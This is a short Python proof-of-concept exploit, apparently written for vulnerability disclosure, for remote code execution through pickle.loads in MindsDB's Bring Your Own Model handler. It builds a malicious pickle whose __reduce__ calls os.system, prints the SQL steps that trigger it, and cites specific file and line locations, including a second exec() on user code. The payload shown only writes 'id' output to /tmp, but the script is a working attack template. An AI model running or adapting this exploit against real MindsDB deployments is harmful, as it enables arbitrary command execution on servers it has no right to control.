| """MindsDB BYOM Handler — pickle.loads RCE PoC | |
| The BYOM (Bring Your Own Model) handler deserializes user-uploaded | |
| model state via pickle.loads() without any safety checks. | |
| Affected: mindsdb/integrations/handlers/byom_handler/byom_handler.py:398 | |
| Also: mindsdb/integrations/handlers/byom_handler/proc_wrapper.py:80 (exec on user code) | |
| """ | |
| import pickle | |
| import os | |
| class MaliciousModel: | |
| """When this object is unpickled, it executes arbitrary code.""" | |
| def __reduce__(self): | |
| return (os.system, ('id > /tmp/pwned',)) | |
| # This is what happens when a user creates a BYOM model | |
| # The model state is pickle.dumps'd during train() and pickle.loads'd during predict() | |
| malicious_state = pickle.dumps(MaliciousModel()) | |
| print(f"Malicious pickle payload: {len(malicious_state)} bytes") | |
| print("When MindsDB calls predict() on this model, pickle.loads(model_state) triggers RCE") | |
| print() | |
| print("Attack chain:") | |
| print("1. CREATE MODEL pwned USING engine='byom', code='<malicious model code>'") | |
| print("2. SELECT * FROM pwned WHERE input='test' -- triggers predict()") | |
| print("3. predict() calls pickle.loads(model_state) → RCE") | |
| print() | |
| print("Additionally, proc_wrapper.py:80 calls exec(code) on the model code directly") | |